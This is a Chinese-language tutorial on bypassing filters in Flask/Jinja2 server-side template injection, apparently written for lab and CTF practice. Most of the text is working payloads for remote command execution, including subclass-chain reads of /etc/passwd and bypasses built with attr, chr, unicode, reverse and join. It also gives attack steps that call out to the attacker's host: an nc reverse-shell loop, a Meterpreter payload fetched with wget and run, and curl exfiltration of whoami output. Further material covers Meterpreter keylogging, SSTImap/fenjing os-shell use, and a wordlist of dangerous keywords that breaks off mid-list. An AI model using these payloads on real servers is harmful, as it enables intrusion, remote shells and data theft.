绕过 基础已经学习完了,现在我们愉快的开启学习绕过手法,绕过手法有很多种,同学们可以看目录的结构大致了解一下
开始吧!
绕过过滤大括号 先举一个例子
后端代码如下
1 2 3 4 5 6 7 8 9 10 from flask import Flask, render_template app = Flask(__name__)@app.route('/' ) def show1 (): girls = ['如花' , '李冰冰' , '杨幂' , '孙艺珍' , '郭德纲' ] return render_template('index.html' , girls=girls)if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
前端代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > 演示控制块</title > <style > .a { color : red; font-weight :bold ; } </style > </head > <body > <ul > {% for girl in girls %} {% if girl|length >=3 %} <li class ="a" > {{ girl }}</li > {% else %} <li > {{ girl }}</li > {% endif %} {% endfor %}</ul > </body > </html >
可以看到都使用了%
所以在后面我们可以这样操作,在存在过滤{{}}双写大括号的时候
我们可以这样写进行绕过
进入我们之前讲的靶场环境
输入
1 {% if 1 ==1 %}benben{%endif%}
这个的意思是如果存在1=1 的话则输出benben
构造python脚本
1 2 3 4 5 6 7 8 9 10 11 12 import requests url = "http://172.16.1.0:17080/flasklab/level/2/" for i in range (500 ): try : data = {"code" : '{% if "".__class__.__base__.__subclasses__()[' + str (i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read() %}Benben{% endif %}' } response = requests.post(url, data=data) if response.status_code == 200 : if "Benben" in response.text: print (i, "---->" , data) break except : pass
得到下表为117
构造payload
1 {% print ("" .__class__.__base__.__subclasses__()[117 ].__init__.__globals__["popen" ]("cat /etc/passwd" ).read()) %}Benben{% endif %}
这里补充一个基础知识
1 2 3 4 5 6 7 8 9 1. {{ ... }} - 输出标签 jinja2 {{ 变量或表达式 }} 作用:计算里面的表达式,并显示结果2. {% ... %} - 语句标签 jinja2 {% if 条件 %} ... {% endif %} {% for i in list %} ... {% endfor %} 作用:执行逻辑控制(if 判断、for 循环等)
上面那个payload使用是判断语句,没有输出,所以我们还得构造一个可以输出的
1 {% print ("" .__class__.__base__.__subclasses__()[117 ].__init__.__globals__["popen" ]("cat /etc/passwd" ).read()) %}
无回现ssti nc 我们还是使用脚本构造一下
1 2 3 4 5 6 7 8 9 10 11 import requests ip = input ('请输入目标主机IP地址: ' ) url = input ('请输入URL链接: ' )for i in range (300 ): try : data = {"code" : '{{"".__class__.__base__.__subclasses__()[' + str (i) + '].__init__.__globals__["popen"]("netcat {ip} 7777 -e /bin/bash").read()}}' } response = requests.post(url, data=data) except : pass
在kali上进行监听
运行脚本就可以连接上了
但是使用这个方法好像实现不了(挺神奇的,有时候可以但是有时候不行)
接下来使用msf操作
msf 在kali上运行
1 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.8.128 LPORT=1337 -f raw > /var/www/html/pyshell.py
-p python/meterpreter/reverse_tcp:选择 Python 版本的 Meterpreter
LHOST=192.168.8.128:你的 Kali IP(接收连接的地址)
LPORT=1337:监听端口
-f raw:原始格式输出
> /var/www/html/pyshell.py:保存到 Web 目录,方便目标下载
接下来执行
1 2 3 4 5 6 7 8 9 10 msfconsole use exploit/multi/handlerset payload python/meterpreter/reverse_tcpset LHOST 192.168.8.128set LPORT 1337set ExitOnSession false run -j
然后再web页面执行命令
1 2 3 4 {{().__class__.__base__.__subclasses__()[444 ].__init__.__globals__.os.system('wget http://192.168.8.128/pyshell.py -O /tmp/pyshell.py' )}} {{().__class__.__base__.__subclasses__()[444 ].__init__.__globals__.os.system('python3 /tmp/pyshell.py' )}}
然后返回kali执行
1 2 3 4 5 msf6 exploit(multi/handler) > sessions -l sessions -i 1
接下来这个是Meterpreter的常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 sysinfo getuid ifconfig route ps getsystem screenshot keyscan_start keyscan_dump download /etc/passwd upload /root/tools/linpeas.sh /tmp/ shellexit background sessions -l
最后可以获得shell
带外注入 依旧执行代码
1 2 3 4 5 6 7 8 9 import requests url = input ("攻击目标url (带http/https): " )for i in range (1 ,300 ): data = {"code" : '{{"".__class__.__base__.__subclasses__()[' + str (i) + '].__init__.__globals__["popen"]("curl 192.168.10.18/`whoami`").read()}}' } print (i) try : requests.post(url, data=data) except : pass
主要是注入访问kali的命令
在kali上我们也要输入
1 python3 -m http.server 80
查看kali上面的web控制即可
getitem中括号过滤 __getitem__是一个魔术方法
理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class MyList : def __init__ (self, data ): self .data = data def __getitem__ (self, key ): return self .data[key] my_list = MyList([10 , 20 , 30 ])print (my_list[0 ]) print (my_list[1 :3 ])
我们就可以使用这个来取代中括号需要用到的索引
1 {{"" .__class__.__base__.__subclasses__().__getitem__(117 ).__init__.__globals__.__getitem__('popen' )('cat /etc/passwd' ).read()}}
一般情况下可以使用.__getitem__可以用来替换中括号(这里有一个要注意的地方就是需要在前面加一个点)
1 2 3 4 5 6 7 __subclasses__()[117 ] __subclasses__().__getitem__(117 ) __globals__['os' ] __globals__.__getitem__('os' )
强调基础知识 在这里有必要强调一下基础知识
[] 中括号 —— 用于字典和列表
1 2 3 4 5 6 7 subclasses_list = __subclasses__() subclasses_list[79 ] globals_dict = __globals__ globals_dict['os' ]
. 点号 —— 用于获取属性/方法
1 2 3 4 5 6 obj.name obj.age loader.get_data(0 , "/etc/passwd" )
这里有一个口诀
1 2 3 4 列表字典用中括,点号跟着属性和方法 列表取值用索引,字典取值用键名 类的方法直接点,容器取值才用[] __getitem__替中括,__getattribute__替点号
现在举一个例子详细的看看各个返回的结果是什么
1 {{"" .__class__.__base__.__subclasses__().__getitem__(117 ).__init__.__globals__.__getitem__('popen' )('cat /etc/passwd' ).read()}}
__class__返回的是类
__base__返回的是类
subclasses ()返回的是列表,所以后面接的是下标
__init__这个是每一个类都有的方法,这个是一个入口,使用就可以使用globals属性
globals 返回的是字典,所以后面接的是一个值
(‘popen’)是类的一个方法,使用的是()
所以有了这基础知识之后就知道为什么不能把所有的中括号都替换为__getitem__(),getitem ()这个只能替换索引的中括号
过滤单双引号 request绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 <html> <head> <title>My Flask App</title> </head> <body> <h1>Welcome to My Flask App</h1> 获得get参数{{request.args.get('name' )}} <br> 获得POST参数{{request.form.get('name' )}} <br> 获得cookie参数{{request.cookies.get('name' )}} </body> </html>
构造payload(使用get进行传参)
1 {{().__class__.__base__.__subclasses__()[117 ].__init__.__globals__[request.args.popen](request.args.name).read()}}
记得要在URL上面加上我们要传入的参数
1 http://192.168 .8 .133 :18080 /flasklab/level/5 ?popen=popen&name=ls
构造pyload(使用POST进行传参)
1 {{().__class__.__base__.__subclasses__()[117 ].__init__.__globals__[request.form.popen](request.form.name).read()}}&popen=popen&name=ls
使用这个的时候最好使用burp进行抓包获得
也可以使用curl操作
1 curl -X POST -d 'code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.name).read()}}&popen=popen&name=whoami' http://192.168 .8 .133 :18080 /flasklab/level/5
构造pyload(使用cookie进行构造)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /flasklab/level/5 HTTP/1.1 Host: 192.168 .38 .147 :18080 Content-Length: 125 X-Requested-With: XMLHttpRequest Accept-Language: zh-CN,zh;q=0.9 Accept: */* Content-Type : application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0 .0 .0 Safari/537.36 Origin: http://192.168 .38 .147 :18080 Referer: http://192.168 .38 .147 :18080 /flasklab/level/5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: popen=popen;name=ls code={{().__class__.__base__.__subclasses__()[117 ].__init__.__globals__[request.cookies.popen](request.cookies.name).read()}}
同样也可以使用curl命令
1 curl -X POST http://192.168 .8 .133 :18080 /flasklab/level/5 --cookie "popen=popen; name=whoami" -d "code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.popen](request.cookies.name).read()}}"
这里有一个表可以参考一些使用有多少种类型
1 2 3 4 5 6 7 8 9 10 11 12 13 request.args.key request.form.key reguest.values.key request.cookies.key request.headers.key request.data request.json
chr函数绕过 chr函数是可以将ascll码转化为字符
直接上payload(注意这个用法是一定要在第一部分与第二部分添加回车的)
1 2 {%set chr =[].__class__.__bases__[0 ].__subclasses__()[444 ].__init__.__globals__.__builtins__.chr %} {{[].__class__.__mro__[1 ].__subclasses__()[444 ].__init__.__globals__[chr (111 )+chr (115 )][chr (112 )+chr (111 )+chr (112 )+chr (101 )+chr (110 )](chr (108 )+chr (115 )).read()}}
分析一下这个payload
首先利用set定义了chr
1 2 {%set +chr =[].__class__.__bases__[0 ].__subclasses__()[77 ].__init__.__globals__.__builtins__.chr %}
这里有几个是需要理解的
chr 函数不在普通模块的 __globals__ 中,它在 __builtins__ 模块中!
Python 将内置函数统一放在 __builtins__ 模块中,而不是分散在各个模块的全局变量中
这一步就是找到chr函数的位置,然后命名一个变量chr的含义跟chr函数一样
1 2 3 4 5 6 7 8 9 10 { {{ [].__class__.__mro__[1 ] .__subclasses__()[300 ] .__init__.__globals__ [chr (111 ) + chr (115 )] [chr (112 ) + chr (111 ) + chr (112 ) + chr (101 ) + chr (110 )] (chr (108 ) + chr (115 )) .read() }}
其中
1 2 3 [chr (111 ) + chr (115 )] [chr (112 ) + chr (111 ) + chr (112 ) + chr (101 ) + chr (110 )] (chr (108 ) + chr (115 ))
绕过下划线过滤 基础用法 在flask中的过滤器,是python里面的函数,这两个是同一个东西
过滤器与参数之间是使用|来进行连接的
1 2 3 4 5 6 7 8 9 10 11 12 flask常用过滤器 length() int (): float (): lower(): upper(): reverse(): replace(value,old,new): list (): string(): join(): attr():
过滤器实例用法
index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>过滤器的使用</title> </head> <body> 当前用户总共:{{ girls|length }} 人 <br> {{ girls.append('小陈' ) }} <br> 当前用户总共:{{ girls|length }} 人 <br> 先转化为大写再转化为小写:{{ users|upper|lower }} </body> </html>
app.py
1 2 3 4 5 6 7 8 9 from flask import Flask, render_template, request app = Flask(__name__)@app.route('/' , methods=['POST' , 'GET' ] ) def show1 (): girls = ['如花' , '李冰冰' , '杨幂' , '孙艺珍' , '郭德纲' ] users = ['benben' , 'DAA' , 'HUANG' ] return render_template('index.html' , girls=girls, users=users)if __name__ == '__main__' : app.run(host='0.0.0.0' )
通过上面的这个例子我们就知道
1 2 3 obj.name → "obj 的 name 属性" obj|attr('name' ) → "从 obj 中获取叫 name 的属性" obj.name跟obj|attr('name' )是等价的
例如
使用方法
1 {{'' |attr(request.args.class )}}
使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /flasklab/level/6 ?class =__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__ HTTP/1.1 Host: 192.168 .38 .147 :18080 Content-Length: 214 X-Requested-With: XMLHttpRequest Accept-Language: zh-CN,zh;q=0.9 Accept: */* Content-Type : application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0 .0 .0 Safari/537.36 Origin: http://192.168 .38 .147 :18080 Referer: http://192.168 .38 .147 :18080 /flasklab/level/6 ?cmd=__class__ Accept-Encoding: gzip, deflate, br Connection: keep-alive code={{'' |attr(request.args.class )|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117 )|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen' )('id' )|attr('read' )()}}
主要的数据如下
1 ?class =__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__ HTTP/1.1
1 code={{'' |attr(request.args.class )|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117 )|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen' )('id' )|attr('read' )()}}
有很多的小细节attr(request.args.sub)()括号是直接接在后面的
attr(request.args.geti)(117)
attr(request.args.geti)('popen')('id')
attr('read')()
read是直接写的,而且要在后面接上一个括号
我发现不知道为什么不能使用curl执行该语句
但是使用burp 和hackbar可以执行
Unicode过滤 Python 中,像__class__这类特殊属性名,每个字符都可以用 Unicode 码点表示
1 {{()|attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr("__getitem__" )(199 )|attr("__init__" )|attr("__globals__" )|attr("__getitem__" )("os" )|attr("popen" )("ls" )|attr("read" )()}}
将这个进行Unicode编码
1 {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f" )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(199 )|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("os" )|attr("popen" )("ls" )|attr("read" )()}}
可以使用在线Unicode转化工具
16位编码 将__转化为16进制
还有一个是需要注意的是在使用的时候没有.而是使用[]代替.
1 {{()["\x5f\x5fclass\x5f\x5f" ]["\x5f\x5fbase\x5f\x5f" ]["\x5f\x5fsubclasses\x5f\x5f" ]()[199 ]["\x5f\x5finit\x5f\x5f" ]["\x5f\x5fglobals\x5f\x5f" ]["os" ].popen("ls" ).read()}}
绕过点过滤 方法有两种
在python中可以使用中括号进行过滤点
或者使用上一节的attr进行绕过
主要讲解使用中括号进行绕过 1 2 3 {{'' ['__class__' ]}} {{'' ['__class__' ]['__base__' ]['__subclasses__' ]()[117 ]}} {{'' ['__class__' ]['__base__' ]['__subclasses__' ]()[117 ]['__init__' ]['__globals__' ]['popen' ]('id' )['read' ]()}}
关键字绕过 在这个模块里面的方法是通用的,都可以使用的,在前面或者后面的内容里面都可以使用的
使用+进行过滤
1 {{'' ['__cl' +'ass__' ]['__ba' +'se__' ]['__subc' +'lasses__' ]()[117 ]['__in' +'it__' ]['__gl' +'obals__' ]['pop' +'en' ]('i' +'d' )['r' +'ead' ]()}}
jinjia2中的~绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1. {% set a = '__cla' %} 在 Jinja2 中定义一个变量 a 值为字符串 '__cla' 2. {% set b = 'ss__' %} 定义变量 b 值为字符串 'ss__' 3. {{ ()[a ~ b] }} () 是一个空元组 ~ 是 Jinja2 中的字符串连接运算符(类似 Python 的 +) a ~ b 将两个字符串拼接成 '__cla' + 'ss__' = '__class__' ()[a ~ b] 相当于 ()['__class__' ],即获取空元组的 __class__ 属性
1 {%set a='__cla' %}{%set b='ss__' %}{{()[a~b]}}
1 {%set a='__cla' %}{%set b='ss__' %}{%set c='__ba' %}{%set d='se__' %}{{()[a~b][c~d]}}
1 2 3 4 5 6 7 8 9 10 11 12 13 {%set a='__cla' %} {%set b='ss__' %} {%set c='__ba' %} {%set d='se__' %} {%set e='__subcla' %} {%set f='sses__' %} {%set g='__in' %} {%set h='it__' %} {%set i='__glo' %} {%set j='bals__' %} {%set k='pop' %} {%set l='en' %} {{()[a~b][c~d][e~f]()[117 ][g~h][i~j][k~l]('id' )['read' ]()}}
过滤器绕过 1 2 3 {% set a="__ssalc__" |reverse %} {{'' [a]}}
1 2 3 4 5 6 7 {%set a="__ssalc__" |reverse%} {%set b="__esab__" |reverse%} {%set c="__sessalcbus__" |reverse%} {%set d="__tini__" |reverse%} {%set e="__slabolg__" |reverse%} {%set f="nepop" |reverse%} {{'' [a][b][c]()[117 ][d][e][f]('cat /etc/passwd' )['read' ]()}}
其他过滤器 过滤器 replace
1 {%set a="__claee__" |replace("ee" ,"ss" )%}{{()[a]}}
过滤器 join
1 2 {%set a=dict (__cla=a,ss__=a)|join%}{{()[a]}} {%set a=['__cla' ,'ss__' ]|join%}{{()[a]}}
1 2 3 4 5 6 1. ['cla' ,'ss' ]|join 创建一个列表:['cla' , 'ss' ] |join 将列表元素连接成字符串 结果是:'cla' + 'ss' = 'class' 2. {{ ()[a] }} 同样得到 'class' ,不是 '__class__'
length过滤器绕过数字过滤 使用length计算出117
1 {% set a='aaaaaaaaaa' |length*'aaaaaaa' |length*'aa' |length-'aaa' |length %}
逐步计算:
1 2 3 4 5 6 7 8 9 10 11 12 13 1. 'aaaaaaaaaa' |length 字符串有 10 个 'a' |length 返回字符串长度 结果:10 2. 'aaaaaaa' |length 字符串有 7 个 'a' 结果:7 3. 'aa' |length 字符串有 2 个 'a' 结果:2 4. 'aaa' |length 字符串有 3 个 'a' 结果:3
1 2 {% set a='aaaaaaaaaa' |length*'aaaaaa' |length*'aa' |length-'aaa' |length %} {{'' ['__class__' ]['__base__' ]['__subclasses__' ]()[a]['__init__' ]['__globals__' ]['popen' ]('id' )['read' ]()}}
计算出119
1 {% set a='aaaaaaaaaa' |length*'aaaaaaaaaa' |length*'aa' |length-'a' |length %}
1 {% set a='aaaaaaaaaa' |length*'aaaaaaaaaa' |length*'aa' |length-'a' |length %} {{'' .__class__.__base__.__subclasses__()[a].__init__.__globals__['os' ].popen('ls -l' ).read()}}
绕过数字还有一种方法
1 2 {%set aa=dict (aaaaa='a' )|join|count%} {{aa}}
dict是创建一个字典
join是获取字典的键
count是计数
最后就是aa=5
获取config文件 正常使用
可以获得config的配置文件内容
如果存在过滤的话,我们可以通过第三方库进行获取config文件信息
1 2 {{url_for.__globals__['current_app' ].config}} {{get_flashed_messages.__globals__['current_app' ].config}}
模块阉割 模块阉割是指在 Python 沙盒环境中,删除或禁用危险的函数/模块,防止攻击者执行恶意代码
后端可能会使用这些操作
1 2 3 4 del __builtins__.eval del __builtins__.exec del __builtins__.__import__
怎么恢复
1 2 3 4 5 6 7 8 9 10 11 import __builtins__ reload(__builtins__) import imp imp.reload(__builtins__)import importlib importlib.reload(__builtins__)
所以我们输入payload
1 2 3 4 5 { {{ reload(__builtins__) }} { {{ __builtins__.reload(__builtins__) }}
1 2 3 4 5 6 7 { { {{ [].__class__.__bases__[0 ].__subclasses__()[40 ].__init__.__globals__['__builtins__' ].__import__ ('imp' ).reload(__builtins__) }} { {{ [].__class__.__bases__[0 ].__subclasses__()[319 ].__init__.__globals__['__builtins__' ].__import__ ('importlib' ).reload(__builtins__) }}
ssti混合过滤 混合过滤一 拼接 1 2 dict () 创建一个字典 join 进行字符串的拼接
例子
1 {%set a=dict (benben=1 )|join%}{{a}}
可以发现我们这样使用读取的是字典里面的键名而不是值
于是我们可以这样
1 {%set a=dict (__cla=1 ,ss__=2 )|join%}{{'' [a]}}
来构造
最终可以实现的payload
1 2 3 4 5 6 {%set a=dict (__cla=1 ,ss__=2 )|join%} {%set b=dict (__ba=1 ,se__=2 )|join%} {%set c=dict (__subc=1 ,lasses__=2 )|join%} {%set d=dict (__in=1 ,it__=2 )|join%} {%set e=dict (__glo=1 ,bals__=2 )|join%} {{'' [a][b][c]()[117 ][d][e]['popen' ]("cat /etc/passwd" ).read ()}}
获取特殊符号 获得下划线
1 {% set ben=({}|select()|string())%}{{ben}}
空集合,经过一些处理转成字符串,最后把这个字符串形式的空集合(也就是 "{}")输出显示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1. {} 创建一个空字典2. | select() select() 是 Jinja2 的一个过滤器,用于筛选 对空字典使用 select(),返回一个空字典的迭代器3. | string() 将迭代器转换成字符串4. {% set ben = ... %} 将结果赋值给变量 ben5. {{ ben }} 输出变量的值 {} = 一个空盒子 | select() = 你对着空盒子说:"筛选!" 虽然盒子是空的,但"筛选" 这个动作本身产生了一个筛选机器(迭代器) | string() = 你给这个机器贴个标签 标签上写着:"这是筛选机器,编号是0x7f8b9c0a3d60"
输出结果
1 <generator object select_or_reject at 0x7f3add00a0f8 >
发现有空格和_,我们可以通过list进行获得下划线和空格
通过下面这个可以获得特殊符号
1 {% set ben=({}|select()|string()|list )%}{% set kong=ben[10 ] %}{% set xia=ben[24 ] %}{{kong}}{{xia}}
不知道为什么使用{}不能使用,所以我们使用等价的函数操作
下面这个可以获得__class__
1 {% set ben=(dict ()|select()|string()|list ) %} {% set xia = ben[24 ] %} {% set cla = xia ~ xia ~ 'class' ~ xia ~ xia %} {{ cla }}
完整的
1 2 3 4 5 6 7 8 9 10 11 12 {% set ben=(dict ()|select()|string()|list ) %} {% set xia = ben[24 ] %} { {% set cla = xia ~ xia ~ 'class' ~ xia ~ xia %} {% set bas = xia ~ xia ~ 'bases' ~ xia ~ xia %} {% set sub = xia ~ xia ~ 'subclasses' ~ xia ~ xia %} {% set init = xia ~ xia ~ 'init' ~ xia ~ xia %} {% set glo = xia ~ xia ~ 'globals' ~ xia ~ xia %} { {{ "" [cla][bas][0 ][sub]()[117 ][init][glo]["popen" ]("cat /etc/passwd" ).read() }}
获得空格
也是使用上面这个方法
获得百分号
1 {%set ben=(self |string|urlencode|list ) %}{{ben}}
这样的方法有很多,自己搜
使用方法
以获得下划线为例
1 {% set ben=({}|select()|string())|list %}{{ben}}
输出
1 ['<' , 'g' , 'e' , 'n' , 'e' , 'r' , 'a' , 't' , 'o' , 'r' , ' ' , 'o' , 'b' , 'j' , 'e' , 'c' , 't' , ' ' , 's' , 'e' , 'l' , 'e' , 'c' , 't' , '_' , 'o' , 'r' , '_' , 'r' , 'e' , 'j' , 'e' , 'c' , 't' , ' ' , 'a' , 't' , ' ' , '0' , 'x' , '7' , 'f' , '3' , 'a' , 'd' , 'd' , '0' , '0' , 'a' , '3' , '0' , '8' , '>' ]
数数到_
1 {% set ben=({}|select()|string())|list %}{{ben[24 ]}}
混合过滤二
输出
1 <function generate_lorem_ipsum at 0x7f3addd86048 >
同样可以读取内容
1 ['<' , 'f' , 'u' , 'n' , 'c' , 't' , 'i' , 'o' , 'n' , ' ' , 'g' , 'e' , 'n' , 'e' , 'r' , 'a' , 't' , 'e' , '_' , 'l' , 'o' , 'r' , 'e' , 'm' , '_' , 'i' , 'p' , 's' , 'u' , 'm' , ' ' , 'a' , 't' , ' ' , '0' , 'x' , '7' , 'f' , '3' , 'a' , 'd' , 'd' , 'd' , '8' , '6' , '0' , '4' , '8' , '>' ]
有空格和下划线
学完了这些绕过就可以完成网页里面的最终几个靶场 了
有各种各样的,千奇百怪的绕过
绝对不止一种方法
可以看看这个网址
1 https:// blog.csdn.net/RABCDXB/ article/details/ 117773638
这个网址里面的过滤方法有很多,其中有使用循环来找到危险类
工具一把梭 到了工具了,你会发现你学的过滤工具都可以完成,所以我们学习绕过要知晓其原理,因为实操工具都会呀
sstimap工具使用教程 安装
1 2 git clone https://github.com/vladko312/SSTImap.git pip install -r requirements.txt
使用方法
测试是否存在ssti
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 get提交参数 python sstimap.py -u "https://example.com/page?name=John" post提交参数 python sstimap.py -u "http://192.168.8.133:18080/flasklab/level/1" --data "code=1" post提交参数指定参数 python sstimap.py -u "http://target.com/login" --data "username=admin&password=test" -p "password" POST JSON 数据 python sstimap.py -u "http://target.com/api/user" --data '{"name":"test","email":"test@test.com"}' --content-type "application/json" 拿到系统shell python sstimap.py -u "http://192.168.8.133:18080/flasklab/level/1" --data "code=1" --os-shell 还有一些高级的使用方法 > help > os-shell > os-cmd whoami > eval-shell > eval-cmd "print('hello')" > tpl-shell > upload local.txt remote.txt > download /etc/passwd ./passwd.txt > reverse-shell 192.168.8.x 4444 > exit
这个工具还是挺好用的
fenjing fenjing来了,这里我要多说几句,我最开始接触fenjing的时候,是我把绕过手法学习了很久了,但是还是有很多的题目没能自己独立做出来,然后我使用fenjing发现这个工具非常变态,可以很快的拿到shell,绝大多数过滤在它的面前简直是小儿科。所以我就在想我学习绕过手法的意义还有吗?工具都是瞬间秒杀的,这种感觉非常像现在ai横行的时代,任何技术只要投喂给ai,ai都能学会,甚至能联系更多东西,写代码,做安全,在ai面前几乎都是小儿科了。
不多说了
这个工具很🐮比,专门用于针对CTF的,所以说非常好用
安装
1 2 3 4 5 6 sudo apt install pipx pipx install fenjing fenjing webui
上面这个是web形式的使用方法
下面这个是高手
scan
在终端可以用scan功能,猜测某个页面的参数并自动攻击:
1 fenjing scan --url 'http://xxxx:xxx/yyy'
crack
也可以用crack功能,手动指定参数进行攻击:
1 fenjing crack --url 'http://192.168.8.133:18080/flasklab/level/13' --detect-mode fast --inputs code --method POST
这里提供了code参数进行攻击,并使用–detect-mode fast加速攻击速度
crack-request
还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击
文本文件内容如下:
1 2 3 GET /?name=PAYLOAD HTTP/1.1 Host: 127.0.0.1:5000 Connection: close
命令如下:
1 fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000
crack-keywords
如果已经拿到了服务端源码app.py的话,可以自动提取代码中的列表作为黑名单生成对应的payload
命令如下:
1 fenjing crack-keywords -k app.py -c 'ls /'
自动化模糊测试(ffuf)
这个我面对ssti题目的时候会使用的东西,里面的字典是我自己总结的,大家可以看看
过滤很烦的,于是我们可以使用自动化的工具进行操作看有没有被过滤
在这里我自己制作了一个ssti过滤探测的字典
字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 __class__ __base__ __mro__ __subclasses__ __init__ __globals__ __builtins__ __getitem__ __getattribute__ __str__ __repr__ __call__ __dict__ __dir__ __name__ __file__ __doc__ __enter__ __exit__ __reduce__ __reduce_ex__ __import__ __add__ __mod__ __format__ eval exec open compile input __import__ popen system read readlines write writelines communicate wait get_data load_module system system_shell execute subprocess check_output run call listdir chdir getcwd mkdir remove unlink rename catch_warnings warnings os._wrap_close _AddedDllDirectory subprocess.Popen subprocess zipimporter FileLoader NamespaceLoader NamespacePath Quitter _Printer WarningMessage finalize ModuleSpec FileFinder Bucket TemplateReference Context BlockReference LoopContext Macro Undefined Environment TemplateExpression TemplateStream Bytecode os sysbuiltins importlib subprocess ctypes codecs linecache warnings zipimport sitebuiltins weakref pickle jinja2 dis _ __ . [ ] ( ) { } %+ ~ |/ \* = : ; '" ` , < > ! @ # $ ^ & ? 空格 %0a %0d %00 %20 %2e %2f %5c %7b %7d %5f __cl ass__ __ba se__ __subcla sses__ __in it__ __globa ls__ __geti tem__ __buil tins__ __impo rt__ pop en syste m read write eval ex ec length count join reverse replace list string urlencode select reject attr int float lower upper title trim escape safe default first last sort groupby batch slice random \x 5f\x 5fclass\x 5f\x 5f\x 5f\x 5fbase\x 5f\x 5f\x 5f\x 5fsubclasses\x 5f\x 5f\x 5f\x 5finit\x 5f\x 5f\x 5f\x 5fglobals\x 5f\x 5f\x 